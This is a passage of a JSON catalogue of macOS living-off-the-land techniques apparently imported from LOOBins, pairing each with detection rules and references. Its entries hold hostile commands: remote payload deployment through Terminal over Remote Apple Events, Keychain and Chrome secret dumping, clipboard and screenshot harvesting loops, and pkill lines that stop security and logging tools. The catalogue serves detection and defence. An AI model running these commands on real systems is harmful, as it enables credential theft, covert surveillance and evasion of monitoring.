           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:a3236c80ab72db2e",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Remote payload deployment via Terminal.app as a Remote Apple Events proxy",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Execution",
         "Lateral Movement"
       ],
       "command": "osascript <<EOF\ntell application \"Terminal\" of machine \"eppc://${VICTIM_USER}:${VICTIM_PASS}@${VICTIM_IP}\"\n    do script \"echo \\\"${PAYLOAD_B64}\\\" | base64 --decode > ${REMOTE_SCRIPT_PATH} && chmod +x ${REMOTE_SCRIPT_PATH}\" in window 1\nend tell\nEOF\n\nosascript <<EOF\ntell application \"Terminal\" of machine \"eppc://${VICTIM_USER}:${VICTIM_PASS}@${VICTIM_IP}\"\n    do script \"bash ${REMOTE_SCRIPT_PATH}\" in window 1\nend tell\nEOF",
       "description": "The System Events application blocks remote do shell script execution via Remote Apple Events (RAE), returning a -10016 Handler Error. Terminal.app does not have this restriction and accepts remote do script commands over the eppc:// protocol. This makes Terminal.app an effective execution proxy. Payloads are Base64-encoded before transmission to avoid AppleScript parsing errors (-2741) caused by multi-line scripts. The deployment is a two-stage process - the first RAE command decodes the payload to a temporary path and sets execute permissions, and the second invokes it via bash. This technique can also be classified as a Software Deployment Tool (T1072) - it operates via Apple Events IPC rather than standard shell processes, creating a telemetry gap in security tooling focused on process execution trees.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:c01ea000e14e56db",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Remote volume enumeration via Finder over Remote Apple Events",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Discovery",
         "Lateral Movement"
       ],
       "command": "osascript -e 'tell application \"Finder\" of machine \"eppc://user:password@<TARGET_IP>\" to get name of every disk'",
       "description": "The Finder application is scriptable over Remote Apple Events (RAE) via the eppc:// URI scheme. osascript can address a remote Finder instance to query mounted volumes on the target machine, providing an adversary with immediate insight into available network shares and external storage. These actions are performed via Apple Events IPC rather than shell commands, bypassing security telemetry focused on process execution.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:pbpaste:652de80e6c1533ef",
       "toolId": "loobins:pbpaste",
       "toolName": "pbpaste",
       "name": "Use pbpaste to collect sensitive clipboard data",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access",
         "Collection"
       ],
       "nativeCategory": [
         "Credential Access",
         "Collection"
       ],
       "command": "while true; do echo $(pbpaste) >> loot.txt; sleep 10; done",
       "description": "A pbpaste bash loop can continuously collect clipboard contents every x minutes and write contents to a file (or another location). This may allow an attacker to gather user credentials or collect other sensitive information.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pbpaste"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Clipboard Data Collection Via Pbpaste",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules-threat-hunting/macos/process_creation/proc_creation_macos_pbpaste_execution.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pbpaste.yml",
         "https://medium.com/@NullByteWht/hacking-macos-how-to-dump-1password-keepassx-lastpass-passwords-in-plaintext-723c5b1c311b",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-b65"
       ]
     },
     {
       "id": "loobins:pkill:1fe342f7502ca679",
       "toolId": "loobins:pkill",
       "toolName": "pkill",
       "name": "Kill security tools",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "pkill -f \"Little Snitch|ESET|osqueryd|Falcon\"",
       "description": "Terminate defensive processes like firewalls, AV, or monitoring tools.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pkill"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process execution monitoring for pkill",
           "value": "Process execution monitoring for pkill"
         },
         {
           "type": "Endpoint Detection - pkill targeting security tools",
           "value": "Endpoint Detection - pkill targeting security tools"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pkill.yml",
         "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer",
         "https://ss64.com/mac/pkill.html"
       ]
     },
     {
       "id": "loobins:pkill:5a5a01fbc83306af",
       "toolId": "loobins:pkill",
       "toolName": "pkill",
       "name": "Force kill processes with SIGKILL",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "pkill -9 osqueryd",
       "description": "Use the -9 signal to forcefully terminate processes that may not respond to normal termination signals. Useful for killing hung security tools.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pkill"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process execution monitoring for pkill",
           "value": "Process execution monitoring for pkill"
         },
         {
           "type": "Endpoint Detection - pkill targeting security tools",
           "value": "Endpoint Detection - pkill targeting security tools"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pkill.yml",
         "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer",
         "https://ss64.com/mac/pkill.html"
       ]
     },
     {
       "id": "loobins:pkill:c051aba20a9aac26",
       "toolId": "loobins:pkill",
       "toolName": "pkill",
       "name": "Kill all processes for a user",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Impact"
       ],
       "command": "pkill -u username",
       "description": "Terminate all processes belonging to a specific user, potentially ending user sessions or disrupting monitoring.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pkill"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process execution monitoring for pkill",
           "value": "Process execution monitoring for pkill"
         },
         {
           "type": "Endpoint Detection - pkill targeting security tools",
           "value": "Endpoint Detection - pkill targeting security tools"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pkill.yml",
         "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer",
         "https://ss64.com/mac/pkill.html"
       ]
     },
     {
       "id": "loobins:pkill:3f61e8515e59c3e8",
       "toolId": "loobins:pkill",
       "toolName": "pkill",
       "name": "Kill logging and monitoring daemons",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "pkill -f \"syslog|auditd|osqueryd|esensor|nessusd\"",
       "description": "Terminate system logging and monitoring processes to evade detection.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pkill"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process execution monitoring for pkill",
           "value": "Process execution monitoring for pkill"
         },
         {
           "type": "Endpoint Detection - pkill targeting security tools",
           "value": "Endpoint Detection - pkill targeting security tools"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pkill.yml",
         "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer",
         "https://ss64.com/mac/pkill.html"
       ]
     },
     {
       "id": "loobins:pkill:3b9d034ed0f34b48",
       "toolId": "loobins:pkill",
       "toolName": "pkill",
       "name": "Kill process by exact name match",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Impact"
       ],
       "command": "pkill -x com.apple.Safari",
       "description": "Use exact matching with -x flag to kill specific process by exact name rather than pattern.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/pkill"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Process execution monitoring for pkill",
           "value": "Process execution monitoring for pkill"
         },
         {
           "type": "Endpoint Detection - pkill targeting security tools",
           "value": "Endpoint Detection - pkill targeting security tools"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/pkill.yml",
         "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer",
         "https://ss64.com/mac/pkill.html"
       ]
     },
     {
       "id": "loobins:plutil:924262c1c30d2ac6",
       "toolId": "loobins:plutil",
       "toolName": "plutil",
       "name": "Set app to run with dock icon hidden",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "plutil -insert LSUIElement -string \"1\" /Applications/TargetApp.app/Contents/Info.plist",
       "description": "plutil can be used to set the \"LSUIElement\" attribute to true which will force the targeted app to run without the UI and dock icon.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/plutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Splunk Security Content: MacOS plutil",
           "value": "https://research.splunk.com/endpoint/c11f2b57-92c1-4cd2-b46c-064eafb833ac/"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/plutil.yml",
         "https://scriptingosx.com/2016/11/editing-property-lists/",
         "https://attack.mitre.org/techniques/T1647/"
       ]
     },
     {
       "id": "loobins:profiles:d0384102b00daeed",
       "toolId": "loobins:profiles",
       "toolName": "profiles",
       "name": "Collect system DEP information.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "sudo profiles show -type enrollment",
       "description": "The following command determines whether device is DEP(Device Enrolment Program) enabled and output the DEP information.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/profiles"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing.",
           "value": "No detections at time of publishing."
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/profiles.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-mdm"
       ]
     },
     {
       "id": "loobins:profiles:eb38ca70e6c00880",
       "toolId": "loobins:profiles",
       "toolName": "profiles",
       "name": "Remove configuration profiles.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Impact"
       ],
       "command": "profiles remove -identifier com.profile.identifier -password <password>",
       "description": "The following command deletes the specified profiles. An optional password used when removing a configuration profile which requires the password removal option.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/profiles"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing.",
           "value": "No detections at time of publishing."
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/profiles.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-mdm"
       ]
     },
     {
       "id": "loobins:safaridriver:3df2d8c33d88e234",
       "toolId": "loobins:safaridriver",
       "toolName": "safaridriver",
       "name": "Enable safaridriver",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control",
         "Exfiltration"
       ],
       "command": "sudo safaridriver --enable",
       "description": "The following command can be used to enable the WebDriver Safari browser API. The command must be run as root or with sudo privileges.",
       "mitre": [],
       "fullPath": [
         "/System/Cryptexes/App/usr/bin/safaridriver",
         "/usr/bin/safaridriver"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/safaridriver.yml",
         "https://developer.apple.com/documentation/webkit/about_webdriver_for_safari",
         "https://starlabs.sg/blog/2021/04-you-talking-to-me/"
       ]
     },
     {
       "id": "loobins:say:6807eaa8653a2f11",
       "toolId": "loobins:say",
       "toolName": "say",
       "name": "Read sensitive data",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion",
         "Collection"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Collection"
       ],
       "command": "say -f /home/user/sensitive-files -i  > loot.txt;",
       "description": "The following command can read and process sensitive files and redirects the output to a file..",
       "mitre": [],
       "fullPath": [
         "/usr/bin/say"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content available",
           "value": "No detection content available"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/say.yml",
         "https://ss64.com/osx/say.html"
       ]
     },
     {
       "id": "loobins:say:7ef0bb01f0a5efcf",
       "toolId": "loobins:say",
       "toolName": "say",
       "name": "Collect clipboard data",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion",
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Reconnaissance",
         "Discovery",
         "Collection"
       ],
       "command": "osascript -e 'set volume output muted true' ;   say $(pbpaste) -i  > loot.txt;",
       "description": "The command is designed to enhance privacy by muting the system volume,using a less recognizable \"Whisper\" voice with the \"say\" command, processing the copied text in the clipboard, and saving the output to a file named \"loot.txt.\"",
       "mitre": [],
       "fullPath": [
         "/usr/bin/say"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content available",
           "value": "No detection content available"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/say.yml",
         "https://ss64.com/osx/say.html"
       ]
     },
     {
       "id": "loobins:screencapture:1c0650f3bbaf5b35",
       "toolId": "loobins:screencapture",
       "toolName": "screencapture",
       "name": "Continuously capture screenshots",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection"
       ],
       "command": "while true; do ts=$(date +\"%Y%m%d-%H%M%S\"); o=\"/tmp/screenshots\"; screencapture -x \"$o/ss-$ts.png\"; sleep 10; done",
       "description": "The following command demonstrates how an attacker can use the tool to capture screenshots every 10 seconds. The -x flag prevents snapshot sounds from being played.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/screencapture"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Screen Capture - macOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/screencapture.yml",
         "https://ss64.com/osx/screencapture.html"
       ]
     },
     {
       "id": "loobins:scutil:8bc671e538a2f395",
       "toolId": "loobins:scutil",
       "toolName": "scutil",
       "name": "DNS configuration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "scutil --dns",
       "description": "Get the current DNS configuration of the systems",
       "mitre": [],
       "fullPath": [
         "/usr/bin/scutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/scutil.yml",
         "https://macosbin.com/bin/scutil",
         "https://ss64.com/osx/scutil.html"
       ]
     },
     {
       "id": "loobins:scutil:66290cdfc7045939",
       "toolId": "loobins:scutil",
       "toolName": "scutil",
       "name": "Proxy configuration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "scutil --proxy",
       "description": "Get the current proxy configuration of the systems",
       "mitre": [],
       "fullPath": [
         "/usr/bin/scutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/scutil.yml",
         "https://macosbin.com/bin/scutil",
         "https://ss64.com/osx/scutil.html"
       ]
     },
     {
       "id": "loobins:scutil:a42e857b47431b0e",
       "toolId": "loobins:scutil",
       "toolName": "scutil",
       "name": "Network reachability",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "scutil -r { nodename | address | local-address remote-address }",
       "description": "Check if the destination host is reachable from your Mac",
       "mitre": [],
       "fullPath": [
         "/usr/bin/scutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/scutil.yml",
         "https://macosbin.com/bin/scutil",
         "https://ss64.com/osx/scutil.html"
       ]
     },
     {
       "id": "loobins:scutil:c8f9a92cde041427",
       "toolId": "loobins:scutil",
       "toolName": "scutil",
       "name": "Hostname, localhost name and computername",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "scutil --get { HostName | LocalHostName | ComputerName }",
       "description": "Display the current hostname, localhost name and computername",
       "mitre": [],
       "fullPath": [
         "/usr/bin/scutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/scutil.yml",
         "https://macosbin.com/bin/scutil",
         "https://ss64.com/osx/scutil.html"
       ]
     },
     {
       "id": "loobins:security:2eedc72739c333fe",
       "toolId": "loobins:security",
       "toolName": "security",
       "name": "Dump credentials, keys, certificates, and other sensitive information from Keychain",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access"
       ],
       "nativeCategory": [
         "Credential Access"
       ],
       "command": "sudo security dump-keychain -d login.keychain",
       "description": "This command will dump keychain passwords from login.keychain",
       "mitre": [],
       "fullPath": [
         "/usr/bin/security"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Credentials from Password Stores - Keychain",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml"
         },
         {
           "type": "Elastic: Access to Keychain Credentials Directories",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_credentials_keychains.toml"
         },
         {
           "type": "Elastic: Credential Access Dumping Keychain Security",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml"
         },
         {
           "type": "Elastic: Keychain Password Retrieval via Command Line",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml"
         },
         {
           "type": "Jamf Protect: Detect Keychain dumping using security",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/security.yml",
         "https://www.netmeister.org/blog/keychain-passwords.html",
         "https://ss64.com/osx/security.html"
       ]
     },
     {
       "id": "loobins:security:81de7ed93c807a66",
       "toolId": "loobins:security",
       "toolName": "security",
       "name": "Retrieve Chrome's \"Chrome Safe Storage\" password manager secret",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access"
       ],
       "nativeCategory": [
         "Credential Access"
       ],
       "command": "security find-generic-password -w -s \"Chrome Safe Storage\"",
       "description": "This command will retrieve the Chrome Safe Storage password manager secret from the keychain.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/security"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Credentials from Password Stores - Keychain",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml"
         },
         {
           "type": "Elastic: Access to Keychain Credentials Directories",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_credentials_keychains.toml"
         },
         {
           "type": "Elastic: Credential Access Dumping Keychain Security",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml"
         },
         {
           "type": "Elastic: Keychain Password Retrieval via Command Line",
           "value": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml"
         },
         {
           "type": "Jamf Protect: Detect Keychain dumping using security",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/security.yml",
         "https://www.netmeister.org/blog/keychain-passwords.html",
         "https://ss64.com/osx/security.html"
       ]
     },
     {
       "id": "loobins:security:81b1fcfde9e5f88c",
       "toolId": "loobins:security",
       "toolName": "security",
       "name": "Add an arbitrary trusted certificate to aid a MITM attack",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
